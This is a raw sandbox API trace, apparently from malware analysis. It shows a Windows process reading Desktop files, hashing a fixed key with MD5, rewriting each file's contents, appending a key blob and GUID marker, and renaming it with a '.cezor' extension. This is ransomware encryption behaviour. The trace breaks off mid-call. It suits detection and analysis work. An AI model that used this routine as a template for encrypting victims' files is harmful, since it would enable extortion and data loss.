ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.660] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.660] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.660] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.660] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x18289, lpOverlapped=0x0) returned 1 [0060.660] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.660] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.660] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.660] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.661] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.661] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.661] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.661] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.661] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.661] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.661] GetLastError () returned 0x0 [0060.661] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.661] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.661] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.662] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18290) returned 0x3132418 [0060.662] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.662] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.662] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x18284, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x18284, lpOverlapped=0x0) returned 1 [0060.662] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.662] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x18289, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.662] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.663] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.663] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.663] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.663] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.663] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.663] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.663] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.663] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.663] CloseHandle (hObject=0x5c4) returned 1 [0060.664] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee788 [0060.664] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0060.664] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee788 | out: hHeap=0x670000) returned 1 [0060.664] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\eMppgNp_d0eONIt.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\emppgnp_d0eonit.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\eMppgNp_d0eONIt.mp4.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\emppgnp_d0eonit.mp4.cezor")) returned 1 [0060.665] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.665] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.666] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0060.666] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab5fc20, ftCreationTime.dwHighDateTime=0x1d4d1c3, ftLastAccessTime.dwLowDateTime=0xe3e2d300, ftLastAccessTime.dwHighDateTime=0x1d4c655, ftLastWriteTime.dwLowDateTime=0xe3e2d300, ftLastWriteTime.dwHighDateTime=0x1d4c655, nFileSizeHigh=0x0, nFileSizeLow=0x1dbc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ok1IxJmM0MNDy1z2SKRW.odp", cAlternateFileName="OK1IXJ~1.ODP")) returned 1 [0060.666] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.666] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0060.666] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.666] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\ok1IxJmM0MNDy1z2SKRW.odp") returned=".odp" [0060.666] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\ok1IxJmM0MNDy1z2SKRW.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\ok1ixjmm0mndy1z2skrw.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.666] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=7612) returned 1 [0060.666] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.668] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1d96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.668] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.669] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.669] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.669] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.669] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x1dbc, lpOverlapped=0x0) returned 1 [0060.669] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.669] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.669] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.669] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.669] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.670] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.670] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.670] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.670] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.670] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.670] GetLastError () returned 0x0 [0060.670] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.670] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.670] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.670] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1dc0) returned 0x31218d0 [0060.670] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.671] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.671] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x1db7, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x1db7, lpOverlapped=0x0) returned 1 [0060.671] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0060.671] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1dbc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.671] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.671] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.671] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.671] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.671] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.671] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.671] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.671] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.671] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.671] CloseHandle (hObject=0x5c4) returned 1 [0060.672] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feb968 [0060.672] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0060.672] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feb968 | out: hHeap=0x670000) returned 1 [0060.672] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\ok1IxJmM0MNDy1z2SKRW.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\ok1ixjmm0mndy1z2skrw.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\ok1IxJmM0MNDy1z2SKRW.odp.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\ok1ixjmm0mndy1z2skrw.odp.cezor")) returned 1 [0060.672] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.672] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.673] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0060.674] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a0a420, ftCreationTime.dwHighDateTime=0x1d4d2db, ftLastAccessTime.dwLowDateTime=0x99072480, ftLastAccessTime.dwHighDateTime=0x1d4c9b6, ftLastWriteTime.dwLowDateTime=0x99072480, ftLastWriteTime.dwHighDateTime=0x1d4c9b6, nFileSizeHigh=0x0, nFileSizeLow=0x103c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rqjkx-Inyu564.bmp", cAlternateFileName="RQJKX-~1.BMP")) returned 1 [0060.674] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.674] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0060.674] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.674] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\Rqjkx-Inyu564.bmp") returned=".bmp" [0060.674] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\Rqjkx-Inyu564.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\rqjkx-inyu564.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.674] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=66502) returned 1 [0060.674] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.676] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x103a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.676] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.677] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.677] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.677] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.677] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x103c6, lpOverlapped=0x0) returned 1 [0060.677] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.678] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.678] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.678] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.678] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.678] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.678] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.678] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.678] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.678] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.678] GetLastError () returned 0x0 [0060.679] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.679] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.679] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.679] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x103d0) returned 0x3132418 [0060.679] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.679] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.679] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x103c1, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x103c1, lpOverlapped=0x0) returned 1 [0060.679] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.679] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x103c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.679] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.679] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.679] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.680] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.680] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.680] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.680] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.680] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.680] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.680] CloseHandle (hObject=0x5c4) returned 1 [0060.681] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee788 [0060.681] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0060.681] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee788 | out: hHeap=0x670000) returned 1 [0060.681] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\Rqjkx-Inyu564.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\rqjkx-inyu564.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\Rqjkx-Inyu564.bmp.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\rqjkx-inyu564.bmp.cezor")) returned 1 [0060.681] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.681] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.682] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0ac61b0, ftCreationTime.dwHighDateTime=0x1d4d2ee, ftLastAccessTime.dwLowDateTime=0x9e6a3f0, ftLastAccessTime.dwHighDateTime=0x1d4ca58, ftLastWriteTime.dwLowDateTime=0x9e6a3f0, ftLastWriteTime.dwHighDateTime=0x1d4ca58, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="T0CQ8VVBC5Xi_UA", cAlternateFileName="T0CQ8V~1")) returned 1 [0060.682] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.682] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd6) returned 0x2f94cf8 [0060.682] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f7709b0, ftCreationTime.dwHighDateTime=0x1d4d3eb, ftLastAccessTime.dwLowDateTime=0x556521e0, ftLastAccessTime.dwHighDateTime=0x1d4cee9, ftLastWriteTime.dwLowDateTime=0x556521e0, ftLastWriteTime.dwHighDateTime=0x1d4cee9, nFileSizeHigh=0x0, nFileSizeLow=0xde5b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wpZkXn.mp4", cAlternateFileName="")) returned 1 [0060.682] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\wpZkXn.mp4") returned=".mp4" [0060.682] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\wpZkXn.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\wpzkxn.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.683] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=56923) returned 1 [0060.683] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.685] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xde35, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.685] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.686] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xde5b, lpOverlapped=0x0) returned 1 [0060.686] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.686] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.686] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.686] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.687] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.687] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.687] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.687] CryptGetHashParam 